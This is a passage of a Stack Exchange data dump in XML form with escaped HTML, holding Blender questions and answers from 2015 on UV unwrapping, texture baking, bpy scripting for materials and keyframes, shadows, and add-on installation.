Mapping again &lt;kbd&gt;u&lt;/kbd&gt; and this time try &quot;Unwrap&quot;, it should produce evenly spaced UV faces that match the proportions of the faces that are selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kDvJd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now use box select, circle select or whatever your favorite selection tools happens to be and use that to move all the side pieces back into the 0-1 UV space.  Resize them to fit in there somewhere and you should be ready to go once you have the texture ready.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EPfmZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: If you have uv's that are scaled beyond the 0-1 range then you can add extra UV layers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the next image, you can see three UV layers.  One is for the roof, one for the walls, and a third for the bakeTo coordinates that will be used to combine everything into one final material/texture so the models can be exported to an external game engine as one asset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6tgIH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can add two materials, one for the roof and one for the walls.  Set both materials to 'Shadeless'.   The check-box is on the same tab with the other material settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NHlzL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add each of the textures to the respective material and be sure to select the proper UV coordinates or Blender will pick one for you and you may not like the choice it makes. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CcTNS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now verify using the Object Data tab(the one left of the Materials tab with 3 dots forming a triangle) that you have the bakeTo UV coordinates highlighted, also make sure the camera icon is selected.  Now find the Bake section under the Render tab and change this to full Render.  I always set the margin to 64 pixels.  Also, make sure that 'Selected To Active' is off.  So long as you have already assigned a texture to the BakeTo UV coordinates in the UV Image Editor all the materials and their textures should transfer over to the bake texture and will all be in the 0-1 space and all together in one image.  Here's the final result that uses the UV coordinates that I showed how to make in the first part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/er1md.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-04-24T16:01:10.773" LastActivityDate="2015-04-24T16:01:10.773" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="24114" PostTypeId="2" ParentId="24106" CreationDate="2015-02-02T10:05:09.440" Score="3" Body="&lt;p&gt;You shouldn't ever use &lt;code&gt;bpy.ops.anim.keyframe_insert_menu()&lt;/code&gt;, it's solely meant for user interface interaction. Use &lt;code&gt;Object.keyframe_insert()&lt;/code&gt; (not the operator!) instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also no reason to use &lt;code&gt;bpy.ops.graph.fmodifier_add()&lt;/code&gt;, especially because the dependency on an area type. Use the low-level RNA methods instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;ob.keyframe_insert(&quot;scale&quot;) # ensures animation_data and action are not None&#xA;action = ob.animation_data.action&#xA;&#xA;for fcu in action.fcurves:&#xA;    if fcu.data_path == &quot;scale&quot;:&#xA;        mod = fcu.modifiers.new(&quot;NOISE&quot;)&#xA;        mod.scale = 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-02-04T10:52:04.897" LastActivityDate="2015-02-04T10:52:04.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24115" PostTypeId="2" ParentId="24099" CreationDate="2015-02-02T10:33:20.480" Score="5" Body="&lt;p&gt;You can increase the volume in the strip properties (select the audio and press &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bSl0p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can even go past eleven all the way to 100.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-02-02T10:33:20.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24116" PostTypeId="1" AcceptedAnswerId="24552" CreationDate="2015-02-02T12:22:50.070" Score="14" ViewCount="2117" Body="&lt;p&gt;I'm trying to project a caustics texture from a light in Cycles. It works with Point or Spot lights, but I'm trying to emulate the sun projecting caustics underwater, so I need the shadows and light rays to be parallel. Here is an image from the test scene, note that the shadows are not parallel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2QyGj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's the light's material setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUXyi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The question is if there's a way to project from a Sun light.&lt;/strong&gt; I know that an option is to take the light far, far away (that's why the Light Falloff Node is there, for controlling the strength).&lt;/p&gt;&#xA;" OwnerUserId="9482" LastEditorUserId="9482" LastEditDate="2015-02-02T16:15:46.290" LastActivityDate="2015-02-13T11:40:07.433" Title="How to project an image from a Cycle's Sun light" Tags="&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="24117" PostTypeId="2" ParentId="24110" CreationDate="2015-02-02T12:30:39.627" Score="1" Body="&lt;p&gt;the #1 region is caused by the IOR of the Glass that means it is present even in the first render but adding the transparency make it more visible as in the second render you can play with the IOR to see how it effects the shape of that region ; and change the Fac to see were is the transparency applied &#xA;note : &quot;the region is darker  because it is the refraction of the liquid inside the glass&quot;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-02-02T12:30:39.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24118" PostTypeId="1" AcceptedAnswerId="24120" CreationDate="2015-02-02T13:19:17.330" Score="3" ViewCount="2311" Body="&lt;p&gt;I am new to blender and having problem with import&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created 4 cubes and exported them into a .obj file.&#xA;Then I import the obj file and added texture to one of the cube&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;full_path_to_file = &quot;C:\\Users\\xyz\\Documents\\test.obj&quot;&#xA;bpy.ops.import_scene.obj(filepath=full_path_to_file)&#xA;object = bpy.data.objects['cube1_Cube_Cube.005']&#xA;object.select = True&#xA;selectedObject = bpy.context.selected_objects&#xA;mat = bpy.data.materials.new('pixelColor')&#xA;mat.diffuse_color = (1.0,0.0,1.0)&#xA;mat.diffuse_shader = 'LAMBERT'&#xA;mat.diffuse_intensity = 1.0&#xA;bpy.context.object.data.materials.append(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this shows error in the last line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AttributeError: 'NoneType' object has no attribute 'data'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This error does not occur if I create the object in the file itself(that is if I don't import)&lt;/p&gt;&#xA;" OwnerUserId="11364" LastEditorUserId="3710" LastEditDate="2016-01-31T10:23:37.160" LastActivityDate="2016-01-31T10:23:37.160" Title="Object attribute error when assigning material" Tags="&lt;python&gt;&lt;materials&gt;&lt;import&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24119" PostTypeId="1" CreationDate="2015-01-27T18:14:02.423" Score="2" ViewCount="8638" Body="&lt;p&gt;I am making an abstract sphere in blender and am having trouble with the random select feature. Basically I want to only select outer faces and not the &quot;sides&quot; as shown in this picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VyWdA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a way that I can use the random select, but then ignore side faces of my model? (Without having to go through and painstakingly deselect them all by hand)&lt;/p&gt;&#xA;" OwnerUserId="19229" OwnerDisplayName="Krythic" LastEditorUserId="241" LastEditDate="2015-02-02T14:13:57.363" LastActivityDate="2015-02-02T15:38:30.830" Title="Blender Select Random Face But Not Sides" Tags="&lt;selection-tools&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24120" PostTypeId="2" ParentId="24118" CreationDate="2015-02-02T13:58:06.140" Score="5" Body="&lt;p&gt;In the example given, you're expecting an &lt;em&gt;active&lt;/em&gt; object, (&lt;code&gt;bpy.context.object&lt;/code&gt;) when there are none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its possible to have selected objects, but nothing active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you don't even need to have an active object. You can assign the material directly to the object, there is no need to selecting it before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# create the material&#xA;mat = bpy.data.materials.new('MaterialName')&#xA;mat.diffuse_color = (1.0,0.0,1.0)&#xA;mat.diffuse_shader = 'LAMBERT'&#xA;mat.diffuse_intensity = 1.0&#xA;&#xA;# get the object&#xA;obj = bpy.data.objects['Cube']&#xA;&#xA;# get the material&#xA;mat = bpy.data.materials['MaterialName']&#xA;&#xA;# assign material to object&#xA;obj.data.materials.append(mat)&#xA;&#xA;# or overwrite an existing material slot via index operator&#xA;obj.data.materials[0] = mat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="3710" LastEditDate="2016-01-31T10:23:04.193" LastActivityDate="2016-01-31T10:23:04.193" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24121" PostTypeId="1" CreationDate="2015-02-02T14:07:21.233" Score="4" ViewCount="347" Body="&lt;p&gt;I want the UIList to not show the filter options (inkl. the plus button). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've use following flag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.use_filter_show = False&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The flag disables the filters but not the plus button. I thought it's a bug and created following issue, but it's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://developer.blender.org/T43455&quot; rel=&quot;nofollow&quot;&gt;https://developer.blender.org/T43455&lt;/a&gt;&#xA;&lt;img src=&quot;https://developer.blender.org/file/data/e3d57qqhb7kgbwkw2cnt/PHID-FILE-xf3op5usj2jimy2ia7hj/pasted_file&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is how it's done correctly? To hide the filter with the button in a UIList.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here my list code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class SCENE_UL_ds_effect_collection(bpy.types.UIList):&#xA;&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname):&#xA;        self.use_filter_show = False&#xA;        ob = data&#xA;        if self.layout_type in {'DEFAULT', 'COMPACT'}:&#xA;            if item:&#xA;                layout.prop(item, &quot;name&quot;, text=&quot;&quot;, emboss=False)&#xA;            else:&#xA;                layout.label(text=&quot;&quot;, translate=False)&#xA;        elif self.layout_type in {'GRID'}:&#xA;            layout.alignment = 'CENTER'&#xA;            layout.label(text=&quot;&quot;, icon_value=icon)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11287" LastEditorUserId="11287" LastEditDate="2015-02-02T17:07:55.337" LastActivityDate="2015-02-02T17:37:19.957" Title="Hide filter options in UIList" Tags="&lt;python&gt;&lt;scripting&gt;&lt;add-on&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24122" PostTypeId="2" ParentId="24119" CreationDate="2015-02-02T14:24:58.960" Score="7" Body="&lt;p&gt;You can do this in two steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select one of the triangular faces, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; (Select Similar) and choose &lt;code&gt;Polygon Sides&lt;/code&gt;. Now all triangular faces should be selected.&lt;/li&gt;&#xA;&lt;li&gt;Press space, type in &lt;code&gt;Select Random&lt;/code&gt; and hit &lt;kbd&gt;Enter&lt;/kbd&gt;. Now here comes the trick: You can switch from &lt;code&gt;Select&lt;/code&gt; to &lt;code&gt;Deselect&lt;/code&gt; mode in the Tool Shelf on the left hand side of the 3D viewport:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/e7RsD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the Tool Shelf is not shown press &lt;kbd&gt;T&lt;/kbd&gt; while your cursor is in the 3D Viewport.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="3089" LastEditDate="2015-02-02T15:38:30.830" LastActivityDate="2015-02-02T15:38:30.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24123" PostTypeId="1" AcceptedAnswerId="24128" CreationDate="2015-02-02T15:36:03.153" Score="1" ViewCount="326" Body="&lt;p&gt;I am trying to create a plane that will stop shadows that hit it, but will not cast a shadow itself. I am using Blender Internal and have tried a combination of &quot;Receive&quot;, &quot;Cast&quot;, &quot;Shadows Only&quot; and &quot;Cast Only&quot; to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keeping &quot;Receive&quot; on but turning &quot;Cast&quot; off just allows shadows to pass through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image I'm trying to get &lt;code&gt;00 Caster&lt;/code&gt; to cast a shadow on &lt;code&gt;01 Blocker&lt;/code&gt;, and to have neither of them cast a shadow on &lt;code&gt;02 Receiver&lt;/code&gt; (which can receive shadows from other objects). Would Light Groups be a way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e334s.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://d.maxfile.ro/wwhftt.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a link to the blend&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7677" LastEditorUserId="7677" LastEditDate="2015-02-02T15:53:01.737" LastActivityDate="2015-02-02T16:20:57.997" Title="Receiving a shadow without casting one?" Tags="&lt;blender-internal-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24124" PostTypeId="1" AcceptedAnswerId="24125" CreationDate="2015-02-02T15:46:16.067" Score="3" ViewCount="9948" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/S0GSB.png&quot; alt=&quot;developer.blender.org screen shot&quot;&gt;&lt;br&gt;&#xA;So I wanted to download the blender add-on sapling, but I can't figure out how to download it. I would really appreciate if someone could clarify how to download the add-on.&lt;/p&gt;&#xA;" OwnerUserId="11041" LastEditorUserId="2217" LastEditDate="2015-02-02T19:14:22.820" LastActivityDate="2015-02-03T01:20:36.260" Title="How do you download a blender addon" Tags="&lt;add-on&gt;" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24125" PostTypeId="2" ParentId="24124" CreationDate="2015-02-02T16:00:22.487" Score="4" Body="&lt;p&gt;No need to download the sapling addon, it's already part of blender.&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;U&lt;/kbd&gt;, go to the Plugins tab, type sapling and enable it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F1Tr8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If for any reason you need to download the addon the link is here: &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Sapling_Tree&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Sapling_Tree&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other plugin downloads refer to: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/15356/1853&quot;&gt;https://blender.stackexchange.com/a/15356/1853&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One last thing to watch out for is that when you download puffins they are in a text format as .py scripts and not as HTML&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-02-03T01:20:36.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24126" PostTypeId="2" ParentId="23999" CreationDate="2015-02-02T16:02:29.390" Score="6" Body="&lt;p&gt;To enable compositing go to &lt;strong&gt;Post processing&lt;/strong&gt; in the &lt;strong&gt;Render&lt;/strong&gt; tab of the &lt;strong&gt;Properties&lt;/strong&gt; Panel and:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;check the &lt;strong&gt;Compositing&lt;/strong&gt; option   &lt;/li&gt;&#xA;&lt;li&gt;uncheck the &lt;strong&gt;Sequencer&lt;/strong&gt; option&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this will process the render result through the compositing pipeline if the compositing nodes are enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1HEkE.png&quot; alt=&quot;Compositing&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="83674" LastEditDate="2019-11-09T22:49:10.010" LastActivityDate="2019-11-09T22:49:10.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24127" PostTypeId="2" ParentId="24048" CreationDate="2015-02-02T16:13:40.307" Score="2" Body="&lt;p&gt;Here's another way to use baking to transfer high-poly details to a low-poly model.  The example uses Cycles baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is simple object that I'd like to have look like a rock.  It has only 36 vertices.  In the attached image, it is highlighted with a light blue border.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/COxp4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next I added two Modifiers, the first is Bevel and the second-&gt; Subdivision Surface.(purple border).&lt;br&gt;&#xA;The purple bordered image also show the bake settings.  'Selected To Active' is activated and the 'Ray Distance' is set to 0.01. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the high and low poly rocks are the same size, the origin should still be at the same place.  You can select either, then use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; -&gt; 'Cursor To Selected' and then select the other and use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; -&gt; Selection To Cursor(Offset).  Now they should be at exactly the same spot.&lt;br&gt;&#xA;I could have just left them at the same spot when duplicating but this is useful for visualization and good to know anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also scale the low poly model up by a small amount so that it just barely encompasses the high-poly model as shown with the dark blue border. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by entering Edit Mode and use &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; to scale by normals. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that they both have sensible names in the Outliner so you can select them both since selecting overlapping models in the Viewport can be difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now go to the Outliner: First select the high-poly model, then hold &lt;kbd&gt;Shift&lt;/kbd&gt;&#xA;and select the low-poly model.  This is how the bake setting 'Selected To Active' functions.  It ray-traces the detail from a high-poly model to the low-poly model's texture.  The texture that will be baked to should be the second one that is selected.  It will be outlined with yellow while the high-poly model will be outlined with orange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following image shows the material used.  The important thing to remember here is to add a texture node for the image that is being baked to, also, make sure it is selected otherwise you will likely encounter some error or another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lYxRY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an extra step shown in those images that I did not mention yet but it's not always necessary.  I used an Addon named 'Worn Edges' that works in Vertex Paint mode.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Vertex Paint tools like this one to work well, you will likely want to 'Apply' the high-poly model's Modifiers first since Vertex Paint tools do not yet work with the Modifier stack.  The Apply button is clearly visible on each modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Addon can be found using the following link/info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Author:Oscurart&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addon: Worn Edges &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderaddonlist.blogspot.ca/2013/12/addon-worn-edges.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderaddonlist.blogspot.ca/2013/12/addon-worn-edges.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a BlenderArtists forum link as well.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.blenderartists.org/forum/showthread.php?291104-AddOn-Create-Worn-Edges-Map&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blenderartists.org/forum/showthread.php?291104-AddOn-Create-Worn-Edges-Map&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of the bake is shown in the following image.  36 vertices-Cycles Global Illumination&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dr1c7.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-02-02T16:13:40.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24128" PostTypeId="2" ParentId="24123" CreationDate="2015-02-02T16:20:57.997" Score="2" Body="&lt;p&gt;I replicated your setup and I think the answer is simply that, no it is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest you might get in my opinion would be disabling shadows for CASTER and/or BLOCKER by unchecking &lt;em&gt;traceable&lt;/em&gt; in material options. And it fakes the desired effect but won't hold true in general - it is not &quot;shadow blocking&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using light groups you can achieve a similar effect, in that you might have two similar lights, one affecting CASTING and BLOCKER (but not RECEIVER), the other exclusively lighting the receiver. But this is not shadow blocking either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I understand is that you want it so that...&#xA;- if a backward ray (from RECEIVER to the light) hits blocker first, RECEIVER is illuminated regardless of anything else in between light and the receiver.&#xA;- if a backward ray doesn't hit blocker first, process shadows normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, options to cast shadows without raytracing have been removed from Blender (no shadow maps anymore). I'm not sure what you might achieve with an older version (maybe pre-2.5x if my memory is correct). &#xA;This is relevant to your problem in that, in raytracing shadows are simply a by product of not receiving light. So I'm not saying that it's impossible with raytracing, but they would have to implement &quot;shadow blocking&quot; as a specific feature for this to work.&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastActivityDate="2015-02-02T16:20:57.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24129" PostTypeId="1" CreationDate="2015-02-02T16:33:03.573" Score="8" ViewCount="7538" Body="&lt;p&gt;In the grease pencil menu there is an option for adding rulers and protractors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, as far I understand, I can remove all rulers by pressing ESC but if I press ENTER instead rulers get saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In various places (prominently, in a kind of help line while in ruler/protractor mode) &lt;strong&gt;it is said that pressing DEL will delete rulers, but I cannot get it to work.&lt;/strong&gt;&#xA;(tried in Blender 2.71). &#xA;Is it a bug, an error in the docs, or am I misunderstanding the context of this operation (e.g., how would I select a ruler so that I can delete it?)&lt;/p&gt;&#xA;" OwnerDisplayName="user3345" LastEditorUserId="241" LastEditDate="2015-02-02T16:49:07.127" LastActivityDate="2017-09-19T04:43:36.967" Title="How do I delete a Grease Pencil ruler?" Tags="&lt;measurement&gt;&lt;grease-pencil&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24130" PostTypeId="2" ParentId="24129" CreationDate="2015-02-02T16:38:43.013" Score="9" Body="&lt;p&gt;Pressing &lt;kbd&gt;Delete&lt;/kbd&gt; will delete the active ruler (whichever is selected or left-click to select a specific one) &lt;em&gt;before&lt;/em&gt; having pressed enter (all the options in the help line are options for &lt;em&gt;during&lt;/em&gt; the creation of the ruler). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have already pressed &lt;kbd&gt;Enter&lt;/kbd&gt; you can re-click the grease pencil 'Ruler/Protractor' button to re-enable the rulers and go through the selection and delete process described above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After pressing &lt;kbd&gt;Enter&lt;/kbd&gt; the rulers are saved to a grease pencil layer, so you could delete all rulers at once via the grease pencil panel in the properties menu (&lt;kbd&gt;N&lt;/kbd&gt;) in the 3D view by selecting the grease pencil layer in the list and then pressing the ' - ' (minus) button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/199YI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-02-03T12:05:32.340" LastActivityDate="2015-02-03T12:05:32.340" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24131" PostTypeId="2" ParentId="24124" CreationDate="2015-02-02T16:49:22.577" Score="5" Body="&lt;p&gt;Is seems that you accidentaly found a bug report on the addon you want to download. There is no download button. To browse available addons go to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scripts Catalog&lt;/a&gt;. In case of the sapling addon it wouldn't be neccesary (see @cegaton's answer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the addon's page you find a download link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zVNwu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For installation see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/Doc:2.6/Manual/Extensions/Python/Add-Ons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/1688/installing-an-addon&quot;&gt;Installing an addon&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-02-02T16:49:22.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24133" PostTypeId="1" AcceptedAnswerId="24139" CreationDate="2015-02-02T17:44:43.047" Score="5" ViewCount="5970" Body="&lt;p&gt;I am trying to modify an object after importing it. This post is related to &lt;a href=&quot;https://blender.stackexchange.com/questions/24118/object-attribute-error-when-assigning-material/24120#24120&quot;&gt;this question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;full_path_to_file = &quot;C:\\Users\\xyz\\Documents\\test.obj&quot;&#xA;bpy.ops.import_scene.obj(filepath=full_path_to_file)&#xA;# create the material&#xA;mat = bpy.data.materials.new('MaterialName')&#xA;mat.diffuse_color = (1.0,0.0,1.0)&#xA;mat.diffuse_shader = 'LAMBERT'&#xA;mat.diffuse_intensity = 1.0&#xA;&#xA;# get the object&#xA;obj = bpy.data.objects['Cube']&#xA;&#xA;# get the material&#xA;mat = bpy.data.materials['MaterialName']&#xA;&#xA;# assign material to object&#xA;obj.data.materials.append(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wanted to add a material to the imported object but that 